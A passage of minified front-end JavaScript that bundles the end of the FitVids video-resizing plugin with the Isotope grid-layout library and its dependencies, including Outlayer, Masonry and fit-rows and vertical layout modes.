0!==i.data("src")&&(i.attr("src",i.data("src")),i.removeAttr("data-src")),"embed"===this.tagName.toLowerCase()&&i.parent("object").length||i.parent(".fluid-width-video-wrapper").length||(i.css("height")||i.css("width")||!isNaN(i.attr("height"))&&!isNaN(i.attr("width"))||(i.attr("height",9),i.attr("width",16)),t=("object"===this.tagName.toLowerCase()||i.attr("height")&&!isNaN(parseInt(i.attr("height"),10))?parseInt(i.attr("height"),10):i.height())/(isNaN(parseInt(i.attr("width"),10))?i.width():parseInt(i.attr("width"),10)),i.attr("name")||(e="fitvid"+o.fn.fitVids._count,i.attr("name",e),o.fn.fitVids._count++),i.wrap('<div class="fluid-width-video-wrapper"></div>').parent(".fluid-width-video-wrapper").css("padding-top",100*t+"%"),i.removeAttr("height").removeAttr("width")))})})},o.fn.fitVids._count=0}(window.jQuery||window.Zepto);

/* isotope */
!function(t,e){"function"==typeof define&&define.amd?define("jquery-bridget/jquery-bridget",["jquery"],function(i){return e(t,i)}):"object"==typeof module&&module.exports?module.exports=e(t,require("jquery")):t.jQueryBridget=e(t,t.jQuery)}(window,function(t,e){"use strict";function i(i,s,a){function u(t,e,o){var n,s="$()."+i+'("'+e+'")';return t.each(function(t,u){var h=a.data(u,i);if(!h)return void r(i+" not initialized. Cannot call methods, i.e. "+s);var d=h[e];if(!d||"_"==e.charAt(0))return void r(s+" is not a valid method");var l=d.apply(h,o);n=void 0===n?l:n}),void 0!==n?n:t}function h(t,e){t.each(function(t,o){var n=a.data(o,i);n?(n.option(e),n._init()):(n=new s(o,e),a.data(o,i,n))})}a=a||e||t.jQuery,a&&(s.prototype.option||(s.prototype.option=function(t){a.isPlainObject(t)&&(this.options=a.extend(!0,this.options,t))}),a.fn[i]=function(t){if("string"==typeof t){var e=n.call(arguments,1);return u(this,t,e)}return h(this,t),this},o(a))}function o(t){!t||t&&t.bridget||(t.bridget=i)}var n=Array.prototype.slice,s=t.console,r="undefined"==typeof s?function(){}:function(t){s.error(t)};return o(e||t.jQuery),i}),function(t,e){"function"==typeof define&&define.amd?define("ev-emitter/ev-emitter",e):"object"==typeof module&&module.exports?module.exports=e():t.EvEmitter=e()}("undefined"!=typeof window?window:this,function(){function t(){}var e=t.prototype;return e.on=function(t,e){if(t&&e){var i=this._events=this._events||{},o=i[t]=i[t]||[];return o.indexOf(e)==-1&&o.push(e),this}},e.once=function(t,e){if(t&&e){this.on(t,e);var i=this._onceEvents=this._onceEvents||{},o=i[t]=i[t]||{};return o[e]=!0,this}},e.off=function(t,e){var i=this._events&&this._events[t];if(i&&i.length){var o=i.indexOf(e);return o!=-1&&i.splice(o,1),this}},e.emitEvent=function(t,e){var i=this._events&&this._events[t];if(i&&i.length){i=i.slice(0),e=e||[];for(var o=this._onceEvents&&this._onceEvents[t],n=0;n<i.length;n++){var s=i[n],r=o&&o[s];r&&(this.off(t,s),delete o[s]),s.apply(this,e)}return this}},e.allOff=function(){delete this._events,delete this._onceEvents},t}),function(t,e){"function"==typeof define&&define.amd?define("get-size/get-size",e):"object"==typeof module&&module.exports?module.exports=e():t.getSize=e()}(window,function(){"use strict";function t(t){var e=parseFloat(t),i=t.indexOf("%")==-1&&!isNaN(e);return i&&e}function e(){}function i(){for(var t={width:0,height:0,innerWidth:0,innerHeight:0,outerWidth:0,outerHeight:0},e=0;e<h;e++){var i=u[e];t[i]=0}return t}function o(t){var e=getComputedStyle(t);return e||a("Style returned "+e+". Are you running this code in a hidden iframe on Firefox? See https://bit.ly/getsizebug1"),e}function n(){if(!d){d=!0;var e=document.createElement("div");e.style.width="200px",e.style.padding="1px 2px 3px 4px",e.style.borderStyle="solid",e.style.borderWidth="1px 2px 3px 4px",e.style.boxSizing="border-box";var i=document.body||document.documentElement;i.appendChild(e);var n=o(e);r=200==Math.round(t(n.width)),s.isBoxSizeOuter=r,i.removeChild(e)}}function s(e){if(n(),"string"==typeof e&&(e=document.querySelector(e)),e&&"object"==typeof e&&e.nodeType){var s=o(e);if("none"==s.display)return i();var a={};a.width=e.offsetWidth,a.height=e.offsetHeight;for(var d=a.isBorderBox="border-box"==s.boxSizing,l=0;l<h;l++){var f=u[l],c=s[f],m=parseFloat(c);a[f]=isNaN(m)?0:m}var p=a.paddingLeft+a.paddingRight,y=a.paddingTop+a.paddingBottom,g=a.marginLeft+a.marginRight,v=a.marginTop+a.marginBottom,_=a.borderLeftWidth+a.borderRightWidth,z=a.borderTopWidth+a.borderBottomWidth,I=d&&r,x=t(s.width);x!==!1&&(a.width=x+(I?0:p+_));var S=t(s.height);return S!==!1&&(a.height=S+(I?0:y+z)),a.innerWidth=a.width-(p+_),a.innerHeight=a.height-(y+z),a.outerWidth=a.width+g,a.outerHeight=a.height+v,a}}var r,a="undefined"==typeof console?e:function(t){console.error(t)},u=["paddingLeft","paddingRight","paddingTop","paddingBottom","marginLeft","marginRight","marginTop","marginBottom","borderLeftWidth","borderRightWidth","borderTopWidth","borderBottomWidth"],h=u.length,d=!1;return s}),function(t,e){"use strict";"function"==typeof define&&define.amd?define("desandro-matches-selector/matches-selector",e):"object"==typeof module&&module.exports?module.exports=e():t.matchesSelector=e()}(window,function(){"use strict";var t=function(){var t=window.Element.prototype;if(t.matches)return"matches";if(t.matchesSelector)return"matchesSelector";for(var e=["webkit","moz","ms","o"],i=0;i<e.length;i++){var o=e[i],n=o+"MatchesSelector";if(t[n])return n}}();return function(e,i){return e[t](i)}}),function(t,e){"function"==typeof define&&define.amd?define("fizzy-ui-utils/utils",["desandro-matches-selector/matches-selector"],function(i){return e(t,i)}):"object"==typeof module&&module.exports?module.exports=e(t,require("desandro-matches-selector")):t.fizzyUIUtils=e(t,t.matchesSelector)}(window,function(t,e){var i={};i.extend=function(t,e){for(var i in e)t[i]=e[i];return t},i.modulo=function(t,e){return(t%e+e)%e};var o=Array.prototype.slice;i.makeArray=function(t){if(Array.isArray(t))return t;if(null===t||void 0===t)return[];var e="object"==typeof t&&"number"==typeof t.length;return e?o.call(t):[t]},i.removeFrom=function(t,e){var i=t.indexOf(e);i!=-1&&t.splice(i,1)},i.getParent=function(t,i){for(;t.parentNode&&t!=document.body;)if(t=t.parentNode,e(t,i))return t},i.getQueryElement=function(t){return"string"==typeof t?document.querySelector(t):t},i.handleEvent=function(t){var e="on"+t.type;this[e]&&this[e](t)},i.filterFindElements=function(t,o){t=i.makeArray(t);var n=[];return t.forEach(function(t){if(t instanceof HTMLElement){if(!o)return void n.push(t);e(t,o)&&n.push(t);for(var i=t.querySelectorAll(o),s=0;s<i.length;s++)n.push(i[s])}}),n},i.debounceMethod=function(t,e,i){i=i||100;var o=t.prototype[e],n=e+"Timeout";t.prototype[e]=function(){var t=this[n];clearTimeout(t);var e=arguments,s=this;this[n]=setTimeout(function(){o.apply(s,e),delete s[n]},i)}},i.docReady=function(t){var e=document.readyState;"complete"==e||"interactive"==e?setTimeout(t):document.addEventListener("DOMContentLoaded",t)},i.toDashed=function(t){return t.replace(/(.)([A-Z])/g,function(t,e,i){return e+"-"+i}).toLowerCase()};var n=t.console;return i.htmlInit=function(e,o){i.docReady(function(){var s=i.toDashed(o),r="data-"+s,a=document.querySelectorAll("["+r+"]"),u=document.querySelectorAll(".js-"+s),h=i.makeArray(a).concat(i.makeArray(u)),d=r+"-options",l=t.jQuery;h.forEach(function(t){var i,s=t.getAttribute(r)||t.getAttribute(d);try{i=s&&JSON.parse(s)}catch(a){return void(n&&n.error("Error parsing "+r+" on "+t.className+": "+a))}var u=new e(t,i);l&&l.data(t,o,u)})})},i}),function(t,e){"function"==typeof define&&define.amd?define("outlayer/item",["ev-emitter/ev-emitter","get-size/get-size"],e):"object"==typeof module&&module.exports?module.exports=e(require("ev-emitter"),require("get-size")):(t.Outlayer={},t.Outlayer.Item=e(t.EvEmitter,t.getSize))}(window,function(t,e){"use strict";function i(t){for(var e in t)return!1;return e=null,!0}function o(t,e){t&&(this.element=t,this.layout=e,this.position={x:0,y:0},this._create())}function n(t){return t.replace(/([A-Z])/g,function(t){return"-"+t.toLowerCase()})}var s=document.documentElement.style,r="string"==typeof s.transition?"transition":"WebkitTransition",a="string"==typeof s.transform?"transform":"WebkitTransform",u={WebkitTransition:"webkitTransitionEnd",transition:"transitionend"}[r],h={transform:a,transition:r,transitionDuration:r+"Duration",transitionProperty:r+"Property",transitionDelay:r+"Delay"},d=o.prototype=Object.create(t.prototype);d.constructor=o,d._create=function(){this._transn={ingProperties:{},clean:{},onEnd:{}},this.css({position:"absolute"})},d.handleEvent=function(t){var e="on"+t.type;this[e]&&this[e](t)},d.getSize=function(){this.size=e(this.element)},d.css=function(t){var e=this.element.style;for(var i in t){var o=h[i]||i;e[o]=t[i]}},d.getPosition=function(){var t=getComputedStyle(this.element),e=this.layout._getOption("originLeft"),i=this.layout._getOption("originTop"),o=t[e?"left":"right"],n=t[i?"top":"bottom"],s=parseFloat(o),r=parseFloat(n),a=this.layout.size;o.indexOf("%")!=-1&&(s=s/100*a.width),n.indexOf("%")!=-1&&(r=r/100*a.height),s=isNaN(s)?0:s,r=isNaN(r)?0:r,s-=e?a.paddingLeft:a.paddingRight,r-=i?a.paddingTop:a.paddingBottom,this.position.x=s,this.position.y=r},d.layoutPosition=function(){var t=this.layout.size,e={},i=this.layout._getOption("originLeft"),o=this.layout._getOption("originTop"),n=i?"paddingLeft":"paddingRight",s=i?"left":"right",r=i?"right":"left",a=this.position.x+t[n];e[s]=this.getXValue(a),e[r]="";var u=o?"paddingTop":"paddingBottom",h=o?"top":"bottom",d=o?"bottom":"top",l=this.position.y+t[u];e[h]=this.getYValue(l),e[d]="",this.css(e),this.emitEvent("layout",[this])},d.getXValue=function(t){var e=this.layout._getOption("horizontal");return this.layout.options.percentPosition&&!e?t/this.layout.size.width*100+"%":t+"px"},d.getYValue=function(t){var e=this.layout._getOption("horizontal");return this.layout.options.percentPosition&&e?t/this.layout.size.height*100+"%":t+"px"},d._transitionTo=function(t,e){this.getPosition();var i=this.position.x,o=this.position.y,n=t==this.position.x&&e==this.position.y;if(this.setPosition(t,e),n&&!this.isTransitioning)return void this.layoutPosition();var s=t-i,r=e-o,a={};a.transform=this.getTranslate(s,r),this.transition({to:a,onTransitionEnd:{transform:this.layoutPosition},isCleaning:!0})},d.getTranslate=function(t,e){var i=this.layout._getOption("originLeft"),o=this.layout._getOption("originTop");return t=i?t:-t,e=o?e:-e,"translate3d("+t+"px, "+e+"px, 0)"},d.goTo=function(t,e){this.setPosition(t,e),this.layoutPosition()},d.moveTo=d._transitionTo,d.setPosition=function(t,e){this.position.x=parseFloat(t),this.position.y=parseFloat(e)},d._nonTransition=function(t){this.css(t.to),t.isCleaning&&this._removeStyles(t.to);for(var e in t.onTransitionEnd)t.onTransitionEnd[e].call(this)},d.transition=function(t){if(!parseFloat(this.layout.options.transitionDuration))return void this._nonTransition(t);var e=this._transn;for(var i in t.onTransitionEnd)e.onEnd[i]=t.onTransitionEnd[i];for(i in t.to)e.ingProperties[i]=!0,t.isCleaning&&(e.clean[i]=!0);if(t.from){this.css(t.from);var o=this.element.offsetHeight;o=null}this.enableTransition(t.to),this.css(t.to),this.isTransitioning=!0};var l="opacity,"+n(a);d.enableTransition=function(){if(!this.isTransitioning){var t=this.layout.options.transitionDuration;t="number"==typeof t?t+"ms":t,this.css({transitionProperty:l,transitionDuration:t,transitionDelay:this.staggerDelay||0}),this.element.addEventListener(u,this,!1)}},d.onwebkitTransitionEnd=function(t){this.ontransitionend(t)},d.onotransitionend=function(t){this.ontransitionend(t)};var f={"-webkit-transform":"transform"};d.ontransitionend=function(t){if(t.target===this.element){var e=this._transn,o=f[t.propertyName]||t.propertyName;if(delete e.ingProperties[o],i(e.ingProperties)&&this.disableTransition(),o in e.clean&&(this.element.style[t.propertyName]="",delete e.clean[o]),o in e.onEnd){var n=e.onEnd[o];n.call(this),delete e.onEnd[o]}this.emitEvent("transitionEnd",[this])}},d.disableTransition=function(){this.removeTransitionStyles(),this.element.removeEventListener(u,this,!1),this.isTransitioning=!1},d._removeStyles=function(t){var e={};for(var i in t)e[i]="";this.css(e)};var c={transitionProperty:"",transitionDuration:"",transitionDelay:""};return d.removeTransitionStyles=function(){this.css(c)},d.stagger=function(t){t=isNaN(t)?0:t,this.staggerDelay=t+"ms"},d.removeElem=function(){this.element.parentNode.removeChild(this.element),this.css({display:""}),this.emitEvent("remove",[this])},d.remove=function(){return r&&parseFloat(this.layout.options.transitionDuration)?(this.once("transitionEnd",function(){this.removeElem()}),void this.hide()):void this.removeElem()},d.reveal=function(){delete this.isHidden,this.css({display:""});var t=this.layout.options,e={},i=this.getHideRevealTransitionEndProperty("visibleStyle");e[i]=this.onRevealTransitionEnd,this.transition({from:t.hiddenStyle,to:t.visibleStyle,isCleaning:!0,onTransitionEnd:e})},d.onRevealTransitionEnd=function(){this.isHidden||this.emitEvent("reveal")},d.getHideRevealTransitionEndProperty=function(t){var e=this.layout.options[t];if(e.opacity)return"opacity";for(var i in e)return i},d.hide=function(){this.isHidden=!0,this.css({display:""});var t=this.layout.options,e={},i=this.getHideRevealTransitionEndProperty("hiddenStyle");e[i]=this.onHideTransitionEnd,this.transition({from:t.visibleStyle,to:t.hiddenStyle,isCleaning:!0,onTransitionEnd:e})},d.onHideTransitionEnd=function(){this.isHidden&&(this.css({display:"none"}),this.emitEvent("hide"))},d.destroy=function(){this.css({position:"",left:"",right:"",top:"",bottom:"",transition:"",transform:""})},o}),function(t,e){"use strict";"function"==typeof define&&define.amd?define("outlayer/outlayer",["ev-emitter/ev-emitter","get-size/get-size","fizzy-ui-utils/utils","./item"],function(i,o,n,s){return e(t,i,o,n,s)}):"object"==typeof module&&module.exports?module.exports=e(t,require("ev-emitter"),require("get-size"),require("fizzy-ui-utils"),require("./item")):t.Outlayer=e(t,t.EvEmitter,t.getSize,t.fizzyUIUtils,t.Outlayer.Item)}(window,function(t,e,i,o,n){"use strict";function s(t,e){var i=o.getQueryElement(t);if(!i)return void(u&&u.error("Bad element for "+this.constructor.namespace+": "+(i||t)));this.element=i,h&&(this.$element=h(this.element)),this.options=o.extend({},this.constructor.defaults),this.option(e);var n=++l;this.element.outlayerGUID=n,f[n]=this,this._create();var s=this._getOption("initLayout");s&&this.layout()}function r(t){function e(){t.apply(this,arguments)}return e.prototype=Object.create(t.prototype),e.prototype.constructor=e,e}function a(t){if("number"==typeof t)return t;var e=t.match(/(^\d*\.?\d*)(\w*)/),i=e&&e[1],o=e&&e[2];if(!i.length)return 0;i=parseFloat(i);var n=m[o]||1;return i*n}var u=t.console,h=t.jQuery,d=function(){},l=0,f={};s.namespace="outlayer",s.Item=n,s.defaults={containerStyle:{position:"relative"},initLayout:!0,originLeft:!0,originTop:!0,resize:!0,resizeContainer:!0,transitionDuration:"0.4s",hiddenStyle:{opacity:0,transform:"scale(0.001)"},visibleStyle:{opacity:1,transform:"scale(1)"}};var c=s.prototype;o.extend(c,e.prototype),c.option=function(t){o.extend(this.options,t)},c._getOption=function(t){var e=this.constructor.compatOptions[t];return e&&void 0!==this.options[e]?this.options[e]:this.options[t]},s.compatOptions={initLayout:"isInitLayout",horizontal:"isHorizontal",layoutInstant:"isLayoutInstant",originLeft:"isOriginLeft",originTop:"isOriginTop",resize:"isResizeBound",resizeContainer:"isResizingContainer"},c._create=function(){this.reloadItems(),this.stamps=[],this.stamp(this.options.stamp),o.extend(this.element.style,this.options.containerStyle);var t=this._getOption("resize");t&&this.bindResize()},c.reloadItems=function(){this.items=this._itemize(this.element.children)},c._itemize=function(t){for(var e=this._filterFindItemElements(t),i=this.constructor.Item,o=[],n=0;n<e.length;n++){var s=e[n],r=new i(s,this);o.push(r)}return o},c._filterFindItemElements=function(t){return o.filterFindElements(t,this.options.itemSelector)},c.getItemElements=function(){return this.items.map(function(t){return t.element})},c.layout=function(){this._resetLayout(),this._manageStamps();var t=this._getOption("layoutInstant"),e=void 0!==t?t:!this._isLayoutInited;this.layoutItems(this.items,e),this._isLayoutInited=!0},c._init=c.layout,c._resetLayout=function(){this.getSize()},c.getSize=function(){this.size=i(this.element)},c._getMeasurement=function(t,e){var o,n=this.options[t];n?("string"==typeof n?o=this.element.querySelector(n):n instanceof HTMLElement&&(o=n),this[t]=o?i(o)[e]:n):this[t]=0},c.layoutItems=function(t,e){t=this._getItemsForLayout(t),this._layoutItems(t,e),this._postLayout()},c._getItemsForLayout=function(t){return t.filter(function(t){return!t.isIgnored})},c._layoutItems=function(t,e){if(this._emitCompleteOnItems("layout",t),t&&t.length){var i=[];t.forEach(function(t){var o=this._getItemLayoutPosition(t);o.item=t,o.isInstant=e||t.isLayoutInstant,i.push(o)},this),this._processLayoutQueue(i)}},c._getItemLayoutPosition=function(){return{x:0,y:0}},c._processLayoutQueue=function(t){this.updateStagger(),t.forEach(function(t,e){this._positionItem(t.item,t.x,t.y,t.isInstant,e)},this)},c.updateStagger=function(){var t=this.options.stagger;return null===t||void 0===t?void(this.stagger=0):(this.stagger=a(t),this.stagger)},c._positionItem=function(t,e,i,o,n){o?t.goTo(e,i):(t.stagger(n*this.stagger),t.moveTo(e,i))},c._postLayout=function(){this.resizeContainer()},c.resizeContainer=function(){var t=this._getOption("resizeContainer");if(t){var e=this._getContainerSize();e&&(this._setContainerMeasure(e.width,!0),this._setContainerMeasure(e.height,!1))}},c._getContainerSize=d,c._setContainerMeasure=function(t,e){if(void 0!==t){var i=this.size;i.isBorderBox&&(t+=e?i.paddingLeft+i.paddingRight+i.borderLeftWidth+i.borderRightWidth:i.paddingBottom+i.paddingTop+i.borderTopWidth+i.borderBottomWidth),t=Math.max(t,0),this.element.style[e?"width":"height"]=t+"px"}},c._emitCompleteOnItems=function(t,e){function i(){n.dispatchEvent(t+"Complete",null,[e])}function o(){r++,r==s&&i()}var n=this,s=e.length;if(!e||!s)return void i();var r=0;e.forEach(function(e){e.once(t,o)})},c.dispatchEvent=function(t,e,i){var o=e?[e].concat(i):i;if(this.emitEvent(t,o),h)if(this.$element=this.$element||h(this.element),e){var n=h.Event(e);n.type=t,this.$element.trigger(n,i)}else this.$element.trigger(t,i)},c.ignore=function(t){var e=this.getItem(t);e&&(e.isIgnored=!0)},c.unignore=function(t){var e=this.getItem(t);e&&delete e.isIgnored},c.stamp=function(t){t=this._find(t),t&&(this.stamps=this.stamps.concat(t),t.forEach(this.ignore,this))},c.unstamp=function(t){t=this._find(t),t&&t.forEach(function(t){o.removeFrom(this.stamps,t),this.unignore(t)},this)},c._find=function(t){if(t)return"string"==typeof t&&(t=this.element.querySelectorAll(t)),t=o.makeArray(t)},c._manageStamps=function(){this.stamps&&this.stamps.length&&(this._getBoundingRect(),this.stamps.forEach(this._manageStamp,this))},c._getBoundingRect=function(){var t=this.element.getBoundingClientRect(),e=this.size;this._boundingRect={left:t.left+e.paddingLeft+e.borderLeftWidth,top:t.top+e.paddingTop+e.borderTopWidth,right:t.right-(e.paddingRight+e.borderRightWidth),bottom:t.bottom-(e.paddingBottom+e.borderBottomWidth)}},c._manageStamp=d,c._getElementOffset=function(t){var e=t.getBoundingClientRect(),o=this._boundingRect,n=i(t),s={left:e.left-o.left-n.marginLeft,top:e.top-o.top-n.marginTop,right:o.right-e.right-n.marginRight,bottom:o.bottom-e.bottom-n.marginBottom};return s},c.handleEvent=o.handleEvent,c.bindResize=function(){t.addEventListener("resize",this),this.isResizeBound=!0},c.unbindResize=function(){t.removeEventListener("resize",this),this.isResizeBound=!1},c.onresize=function(){this.resize()},o.debounceMethod(s,"onresize",100),c.resize=function(){this.isResizeBound&&this.needsResizeLayout()&&this.layout()},c.needsResizeLayout=function(){var t=i(this.element),e=this.size&&t;return e&&t.innerWidth!==this.size.innerWidth},c.addItems=function(t){var e=this._itemize(t);return e.length&&(this.items=this.items.concat(e)),e},c.appended=function(t){var e=this.addItems(t);e.length&&(this.layoutItems(e,!0),this.reveal(e))},c.prepended=function(t){var e=this._itemize(t);if(e.length){var i=this.items.slice(0);this.items=e.concat(i),this._resetLayout(),this._manageStamps(),this.layoutItems(e,!0),this.reveal(e),this.layoutItems(i)}},c.reveal=function(t){if(this._emitCompleteOnItems("reveal",t),t&&t.length){var e=this.updateStagger();t.forEach(function(t,i){t.stagger(i*e),t.reveal()})}},c.hide=function(t){if(this._emitCompleteOnItems("hide",t),t&&t.length){var e=this.updateStagger();t.forEach(function(t,i){t.stagger(i*e),t.hide()})}},c.revealItemElements=function(t){var e=this.getItems(t);this.reveal(e)},c.hideItemElements=function(t){var e=this.getItems(t);this.hide(e)},c.getItem=function(t){for(var e=0;e<this.items.length;e++){var i=this.items[e];if(i.element==t)return i}},c.getItems=function(t){t=o.makeArray(t);var e=[];return t.forEach(function(t){var i=this.getItem(t);i&&e.push(i)},this),e},c.remove=function(t){var e=this.getItems(t);this._emitCompleteOnItems("remove",e),e&&e.length&&e.forEach(function(t){t.remove(),o.removeFrom(this.items,t)},this)},c.destroy=function(){var t=this.element.style;t.height="",t.position="",t.width="",this.items.forEach(function(t){t.destroy()}),this.unbindResize();var e=this.element.outlayerGUID;delete f[e],delete this.element.outlayerGUID,h&&h.removeData(this.element,this.constructor.namespace)},s.data=function(t){t=o.getQueryElement(t);var e=t&&t.outlayerGUID;return e&&f[e]},s.create=function(t,e){var i=r(s);return i.defaults=o.extend({},s.defaults),o.extend(i.defaults,e),i.compatOptions=o.extend({},s.compatOptions),i.namespace=t,i.data=s.data,i.Item=r(n),o.htmlInit(i,t),h&&h.bridget&&h.bridget(t,i),i};var m={ms:1,s:1e3};return s.Item=n,s}),function(t,e){"function"==typeof define&&define.amd?define("isotope-layout/js/item",["outlayer/outlayer"],e):"object"==typeof module&&module.exports?module.exports=e(require("outlayer")):(t.Isotope=t.Isotope||{},t.Isotope.Item=e(t.Outlayer))}(window,function(t){"use strict";function e(){t.Item.apply(this,arguments)}var i=e.prototype=Object.create(t.Item.prototype),o=i._create;i._create=function(){this.id=this.layout.itemGUID++,o.call(this),this.sortData={}},i.updateSortData=function(){if(!this.isIgnored){this.sortData.id=this.id,this.sortData["original-order"]=this.id,this.sortData.random=Math.random();var t=this.layout.options.getSortData,e=this.layout._sorters;for(var i in t){var o=e[i];this.sortData[i]=o(this.element,this)}}};var n=i.destroy;return i.destroy=function(){n.apply(this,arguments),this.css({display:""})},e}),function(t,e){"function"==typeof define&&define.amd?define("isotope-layout/js/layout-mode",["get-size/get-size","outlayer/outlayer"],e):"object"==typeof module&&module.exports?module.exports=e(require("get-size"),require("outlayer")):(t.Isotope=t.Isotope||{},t.Isotope.LayoutMode=e(t.getSize,t.Outlayer))}(window,function(t,e){"use strict";function i(t){this.isotope=t,t&&(this.options=t.options[this.namespace],this.element=t.element,this.items=t.filteredItems,this.size=t.size)}var o=i.prototype,n=["_resetLayout","_getItemLayoutPosition","_manageStamp","_getContainerSize","_getElementOffset","needsResizeLayout","_getOption"];return n.forEach(function(t){o[t]=function(){return e.prototype[t].apply(this.isotope,arguments)}}),o.needsVerticalResizeLayout=function(){var e=t(this.isotope.element),i=this.isotope.size&&e;return i&&e.innerHeight!=this.isotope.size.innerHeight},o._getMeasurement=function(){this.isotope._getMeasurement.apply(this,arguments)},o.getColumnWidth=function(){this.getSegmentSize("column","Width")},o.getRowHeight=function(){this.getSegmentSize("row","Height")},o.getSegmentSize=function(t,e){var i=t+e,o="outer"+e;if(this._getMeasurement(i,o),!this[i]){var n=this.getFirstItemSize();this[i]=n&&n[o]||this.isotope.size["inner"+e]}},o.getFirstItemSize=function(){var e=this.isotope.filteredItems[0];return e&&e.element&&t(e.element)},o.layout=function(){this.isotope.layout.apply(this.isotope,arguments)},o.getSize=function(){this.isotope.getSize(),this.size=this.isotope.size},i.modes={},i.create=function(t,e){function n(){i.apply(this,arguments)}return n.prototype=Object.create(o),n.prototype.constructor=n,e&&(n.options=e),n.prototype.namespace=t,i.modes[t]=n,n},i}),function(t,e){"function"==typeof define&&define.amd?define("masonry-layout/masonry",["outlayer/outlayer","get-size/get-size"],e):"object"==typeof module&&module.exports?module.exports=e(require("outlayer"),require("get-size")):t.Masonry=e(t.Outlayer,t.getSize)}(window,function(t,e){var i=t.create("masonry");i.compatOptions.fitWidth="isFitWidth";var o=i.prototype;return o._resetLayout=function(){this.getSize(),this._getMeasurement("columnWidth","outerWidth"),this._getMeasurement("gutter","outerWidth"),this.measureColumns(),this.colYs=[];for(var t=0;t<this.cols;t++)this.colYs.push(0);this.maxY=0,this.horizontalColIndex=0},o.measureColumns=function(){if(this.getContainerWidth(),!this.columnWidth){var t=this.items[0],i=t&&t.element;this.columnWidth=i&&e(i).outerWidth||this.containerWidth}var o=this.columnWidth+=this.gutter,n=this.containerWidth+this.gutter,s=n/o,r=o-n%o,a=r&&r<1?"round":"floor";s=Math[a](s),this.cols=Math.max(s,1)},o.getContainerWidth=function(){var t=this._getOption("fitWidth"),i=t?this.element.parentNode:this.element,o=e(i);this.containerWidth=o&&o.innerWidth},o._getItemLayoutPosition=function(t){t.getSize();var e=t.size.outerWidth%this.columnWidth,i=e&&e<1?"round":"ceil",o=Math[i](t.size.outerWidth/this.columnWidth);o=Math.min(o,this.cols);for(var n=this.options.horizontalOrder?"_getHorizontalColPosition":"_getTopColPosition",s=this[n](o,t),r={x:this.columnWidth*s.col,y:s.y},a=s.y+t.size.outerHeight,u=o+s.col,h=s.col;h<u;h++)this.colYs[h]=a;return r},o._getTopColPosition=function(t){var e=this._getTopColGroup(t),i=Math.min.apply(Math,e);return{col:e.indexOf(i),y:i}},o._getTopColGroup=function(t){if(t<2)return this.colYs;for(var e=[],i=this.cols+1-t,o=0;o<i;o++)e[o]=this._getColGroupY(o,t);return e},o._getColGroupY=function(t,e){if(e<2)return this.colYs[t];var i=this.colYs.slice(t,t+e);return Math.max.apply(Math,i)},o._getHorizontalColPosition=function(t,e){var i=this.horizontalColIndex%this.cols,o=t>1&&i+t>this.cols;i=o?0:i;var n=e.size.outerWidth&&e.size.outerHeight;return this.horizontalColIndex=n?i+t:this.horizontalColIndex,{col:i,y:this._getColGroupY(i,t)}},o._manageStamp=function(t){var i=e(t),o=this._getElementOffset(t),n=this._getOption("originLeft"),s=n?o.left:o.right,r=s+i.outerWidth,a=Math.floor(s/this.columnWidth);a=Math.max(0,a);var u=Math.floor(r/this.columnWidth);u-=r%this.columnWidth?0:1,u=Math.min(this.cols-1,u);for(var h=this._getOption("originTop"),d=(h?o.top:o.bottom)+i.outerHeight,l=a;l<=u;l++)this.colYs[l]=Math.max(d,this.colYs[l])},o._getContainerSize=function(){this.maxY=Math.max.apply(Math,this.colYs);var t={height:this.maxY};return this._getOption("fitWidth")&&(t.width=this._getContainerFitWidth()),t},o._getContainerFitWidth=function(){for(var t=0,e=this.cols;--e&&0===this.colYs[e];)t++;return(this.cols-t)*this.columnWidth-this.gutter},o.needsResizeLayout=function(){var t=this.containerWidth;return this.getContainerWidth(),t!=this.containerWidth},i}),function(t,e){"function"==typeof define&&define.amd?define("isotope-layout/js/layout-modes/masonry",["../layout-mode","masonry-layout/masonry"],e):"object"==typeof module&&module.exports?module.exports=e(require("../layout-mode"),require("masonry-layout")):e(t.Isotope.LayoutMode,t.Masonry)}(window,function(t,e){"use strict";var i=t.create("masonry"),o=i.prototype,n={_getElementOffset:!0,layout:!0,_getMeasurement:!0};for(var s in e.prototype)n[s]||(o[s]=e.prototype[s]);var r=o.measureColumns;o.measureColumns=function(){this.items=this.isotope.filteredItems,r.call(this)};var a=o._getOption;return o._getOption=function(t){return"fitWidth"==t?void 0!==this.options.isFitWidth?this.options.isFitWidth:this.options.fitWidth:a.apply(this.isotope,arguments)},i}),function(t,e){"function"==typeof define&&define.amd?define("isotope-layout/js/layout-modes/fit-rows",["../layout-mode"],e):"object"==typeof exports?module.exports=e(require("../layout-mode")):e(t.Isotope.LayoutMode)}(window,function(t){"use strict";var e=t.create("fitRows"),i=e.prototype;return i._resetLayout=function(){this.x=0,this.y=0,this.maxY=0,this._getMeasurement("gutter","outerWidth")},i._getItemLayoutPosition=function(t){t.getSize();var e=t.size.outerWidth+this.gutter,i=this.isotope.size.innerWidth+this.gutter;0!==this.x&&e+this.x>i&&(this.x=0,this.y=this.maxY);var o={x:this.x,y:this.y};return this.maxY=Math.max(this.maxY,this.y+t.size.outerHeight),this.x+=e,o},i._getContainerSize=function(){return{height:this.maxY}},e}),function(t,e){"function"==typeof define&&define.amd?define("isotope-layout/js/layout-modes/vertical",["../layout-mode"],e):"object"==typeof module&&module.exports?module.exports=e(require("../layout-mode")):e(t.Isotope.LayoutMode)}(window,function(t){"use strict";var e=t.create("vertical",{horizontalAlignment:0}),i=e.prototype;return i._resetLayout=function(){this.y=0},i._getItemLayoutPosition=function(t){t.getSize();var e=(this.isotope.size.innerWidth-t.size.outerWidth)*this.options.horizontalAlignment,i=this.y;return this.y+=t.size.outerHeight,{x:e,y:i}},i._getContainerSize=function(){return{height:this.y}},e}),function(t,e){"function"==typeof define&&define.amd?define(["outlayer/outlayer","get-size/get-size","desandro-matches-selector/matches-selector","fizzy-ui-utils/utils","isotope-layout/js/item","isotope-layout/js/layout-mode","isotope-layout/js/layout-modes/masonry","isotope-layout/js/layout-modes/fit-rows","isotope-layout/js/layout-modes/vertical"],function(i,o,n,s,r,a){return e(t,i,o,n,s,r,a)}):"object"==typeof module&&module.exports?module.exports=e(t,require("outlayer"),require("get-size"),require("desandro-matches-selector"),require("fizzy-ui-utils"),require("isotope-layout/js/item"),require("isotope-layout/js/layout-mode"),require("isotope-layout/js/layout-modes/masonry"),require("isotope-layout/js/layout-modes/fit-rows"),require("isotope-layout/js/layout-modes/vertical")):t.Isotope=e(t,t.Outlayer,t.getSize,t.matchesSelector,t.fizzyUIUtils,t.Isotope.Item,t.Isotope.LayoutMode)}(window,function(t,e,i,o,n,s,r){function a(t,e){return function(i,o){for(var 